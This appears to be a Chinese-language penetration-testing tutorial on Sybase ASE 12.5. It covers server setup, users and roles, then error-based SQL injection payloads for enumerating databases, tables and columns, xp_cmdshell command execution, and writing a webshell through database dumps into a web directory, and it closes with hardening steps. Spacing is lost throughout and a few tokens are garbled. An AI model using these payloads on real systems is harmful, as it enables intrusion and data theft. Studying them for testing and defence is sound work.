0x00Sybase数据库介绍 介绍 Sybase的全称又叫:SAPSybaseAdaptiveServerEnterprise(简称ASE或SybaseASE),继承自MSSQL的原始代码,具有接近与MSSQL的关系。Sybase是一个关系型数据库系统,是典型的UNIX或WindowsNT平台上客户端/服务器环境下的大型数据库系统。它使用PowerBuilder作为开发工具,使用SAPSybaseSQLAnywhere作为客户端。目前的新版本是ASE15.7.x,直接从12.5.5命名为15.0.0(中间跳过13和14)。本次测试的是12.5.2,12.5是12个大版本中最稳定的版本。 创建数据库时注意存储设备: 服务和端口 开放端口: 备份服务:5001,监控服务:5002,数据库主服务:5000,存储过程服务:5004 默认数据库 Master:系统的核心数据库,控制服务器的运行,存储所有用户数据库和相关存储设备的信息,包括用户名和密码; 模型:模板数据库,在创建用户数据库时,系统会根据模型数据库进行复制,并将数据库的大小扩展到用户指定的大小。 Systemprocs:保存系统的存储过程。 sybsystemdb:关于分布式事务管理功能。 Tempdb:包含临时表,放置临时数据。 注册用户和数据库用户 SQLSERVER创建注册用户时,用户可以合法进入SQLSERVER,注册用户信息会放在master数据库的syslogins表中。但只有当注册用户成为数据库用户,并赋予用户一定的权限后,注册用户才能在受限条件下使用数据库中的表。 创建注册用户:sp_addloginloginame,passwd(delete是drop) 创建数据库用户:[dbname..]sp_adduserloginame(这里的loginame必须是注册用户,否则会报错) 赋值权限:grantall|select,insert,delete,updateontable_name|view_name|stored_procedure_nametousername orgrantall|createdatabase,createdefault,createprocedure,createrule,createtable,createview,setproxy,setsessionauthorizationtousername 数据库用户分类 sauser,databaseowner,databaseobjectOwner和普通数据库用户 1)、sa用户:是全权限的系统用户。 2)数据库所有者用户:数据库所有者(dbo)用户可以操作这个数据库中的所有对象(如表、视图、存储过程等)。 3)数据库对象拥有者:在实际管理中,一般为数据库拥有者。 4)、普通数据库用户:与public类似,普通数据库用户必须对本数据库中的某些对象(如表、视图、进程等)授予一定的权限,才能执行允许的操作。 别名(aliases)和组(group) 1)、别名:所谓别名(aliases)是指在SQLSERVER中注册的用户将作为同一个数据库用户访问数据库,具有相同的权限权威。 2)、组(group)是数据库用户的集合,即可以通过组(group)权限的控制来实现对本组数据库用户的控制,但是本组中的某些数据库用户也可以进行额外的权限控制。 角色 一般在管理分工比较细的数据库系统中,sa用户往往分为三种角色:系统管理员角色(SA角色)、系统安全员角色(SSO角色)、操作员角色(OPER角色)。 连接和管理工具 1)、isql 类似于mysql数据库的mysql.exe。可以连接到本地和网络数据库。连接使用isql–Usa–P"": 所有参数区分大小写: -?显示isql开关的语法摘要。 -L列出本地配置的服务器和网络上广播的服务器的名称。 -Ulogin_id用户登录ID。登录ID区分大小写。 -P密码为用户指定的密码。如果未使用-P选项,isql将提示输入密码。如果在命令提示符末尾使用-P选项而没有密码,则isql使用默认密码NULL)。密码区分大小写。 -Sserver_name指定要连接的SQLServer的默认实例。如果未指定服务器,isql将连接到本地计算机上SQLServer的默认实例。如果要从网络上的远程计算机执行isql,则需要此选项。 -H主机名是要使用的客户端的主机名。 -d使用数据库名,用于指定使用的数据库名 2)、官方SybaseSQL优势 缺点:a.随完整数据库安装包发布,使用时有版本要求。 b。它只支持SQL语句。个人认为是isql的图形化版本,不方便。 (Sql.ini设置及功能:http://blog.csdn.net/potato015/article/details/2450989) 3),SybaseCentral官方 缺点:a。完整安装与数据库包一起发布,使用时有版本要求。 b,功能不是很强大 4)、DBArtisan #p# 0x01Sybase安全性 执行系统命令 默认没有开启xp_cmdshell。xp_cmdshell未启用时: 启用xp_cmdshell:sp_configure'xp_cmdshellcontext',0 启用xp_cmdshell并执行命令: 权限不够时执行xp_cmdshell: 详情: 1.executesp_configure'xp_cmdshell',0允许所有具有sa_role角色的登录用户执行xp_cmdshell命令,默认禁用该功能 2,默认sp_configure'xp_cmdshell',1经测试需要和longin用户名相同windows下的密码,而且这个用户属于administrators权限组,还有一点不能忽略:取消勾选“用户下次登录需要更改密码”! 3、由于MSSQL与Windows集成,可以直接使用系统账号登录数据库。Sybase需要按照上面第二步进行配置,才能达到和MSSQL类似的效果。 评论和联合查询 支持union,可以用//,--来评论,可以用//代替空格,也可以用+代替空格,也支持count(),但通配符不能出现在子查询中。 12.5.2及之前的版本不支持TOP关键字,如果注入语句是selecttopNfrom 的形式会报错 当然不能用top,必须有另一种方法,就是setrowcountN ,但是setrowcountN好像不支持子查询和条件句: 多句执行 和mssql的区别是多条语句直接用空格隔开代替分号。 编码支持 同MSSQL: SQL注入特性 Phpasscript: Javaasscript: #p# 判断是否是Sybase数据库:id=1andexists(select*frommaster.dbo.ijdbc_function_escapes) 通过报错注入时,注意Sybase不支持直接比较不同类型的数据(区别于MSSQL):id=1and1=userid=1and1=convert(整数,用户)![enterimagedescriptionhere][28]id=1and1=convert(integer,(select+@@version))![enterimagedescriptionhere][29]id=-1unionselect1,"",(select@@version) 列库(复杂版):id=1and1=convert(integer,(SELECTMIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32)))FROM(SELECTnameFROMmaster..sysdatabases)ASgJyQWHERECONVERT(NVARCHAR(4000),gJyQ.name)>'')) 列出***库主 id=1and1=convert(integer,(SELECTMIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32)))FROM(SELECTnameFROMmaster..sysdatabases)ASgJyQWHERECONVERT(NVARCHAR(4000),gJyQ.name)>'master')) list除master之外的第一个库 listlibrary(简易版): id=1and1=convert(integer,(SELECTnameFROMmaster..sysdatabaseswheredbid=1))不断增加dbid的值 dbid是连续数,很容易猜到 PS:虽然Sybase不能使用TOP,对于xml路径,但是支持having,wherenotin等语法,还有很多方法可以改变。 与MSSQL不同: MSSQL是xtypeSybase是type list(只能使用复杂版本): id=1and1=convert(integer,(selectMIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32)))from(selectnamefromtest.dbo.sysobjectswheretype='U')ASaaaawhereCONVERT(NVARCHAR(4000),aaaa.name)>'')) List***tablecmd id=1and1=convert(integer,(selectMIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32)))from(selectnamefromtest.dbo.sysobjectswheretype='U')ASaaaawhereCONVERT(NVARCHAR(4000)),aaaa.name)>'cmd')) listexceptcmd第一张表cmd0 列字段: selectnamefromtest..syscolumnswhereid=object_id('users')andcolid=1incrementcolid 即: id=1and1=convert(integer,(selectnamefromtest..syscolumnswhereid=object_id('users')andcolid=1)) 工具注入: Pangolin猜不出库名,抓包发现使用了TOP关键字。Pangolin好像是12.5.3以后才支持sybase 备份和写入文件(webshel??l) 前提条件: 1.开启备份服务 2。备份服务允许远程访问 3。拥有数据库权限(主机权限)+磁盘写权限 步骤: ,createtablecmd(aimage)— ,insertintocmd(a)values('')— ,dumpdatabasetestto'C:\wamp\www\1.php'【完整备份】 (对应到MSSQL是:备份数据库库名称到磁盘='C:\wamp\www\1.php'WITHDIFFERENTIAL,FORMAT;--) dumpTRANSACTIONtestto'C:\wamp\www\1.php'【LOG备份】 (对应MSSQL:备份日志库名到磁盘='d:\www\xxx\test.asp'--) 注意:使用dumpTRANSACTION时,数据文件和日志文件不能存储在同一设备中 ,降表cmd-- 加固预防 密码sp_password“原密码”,“新密码”,用户名 比如sa用户的密码由空改为123456:sp_passwordNULL,"123456",sasp_configure"minimumpasswordlength",8---最小密码长度sp_configure"checkpasswordfordigit",1---至少一个数sp_configure"systemwidepasswordexpiration",90---密码有效长度sp_configure"maximumfailedlogins",5---设置密码错误锁定阈值 删除扩展存储过程xp_cmdshell,删除sybsyesp.dllexecsp_dropextendedprocxp_cmdshell 关闭sa账号使用:sp_lockloginsa,"lock" 关闭远程访问:execsp_configure"allowremoteaccess",0execsp_configure"allowremoteaccess"后,0 被关闭,很多服务将不可用,比如备份 登录IP白名单 系统没有登录相关的限制设置,只能通过创建登录触发器来实现实现登录IP白名单createprocedurelogin_trgasdeclare@ipvarchar(18),@login_namevarchar(20)beginselect@ip=t.ipaddr,@login_name=suser_name()frommaster.dbo.sysprocessestwhereet.spid=@@spidif@ip<>'192.168.0.102'beginraiseerror30000'IPaddress%1!,withuser%2!loginfailed!',@ip,@login_nameselectsyb_quit()endelseprint'Welcome!'end 创建登录触发器后,执行如下命令:isql>grantexecuteonlogin_trgttologinnameisql>sp_modifyloginloginname,"loginscript",login_trg logisql>execsp_configure"logauditlogonfailure",1--记录登录失败信息isql>execsp_configure"logauditlogonsuccess",1--记录登录成功信息
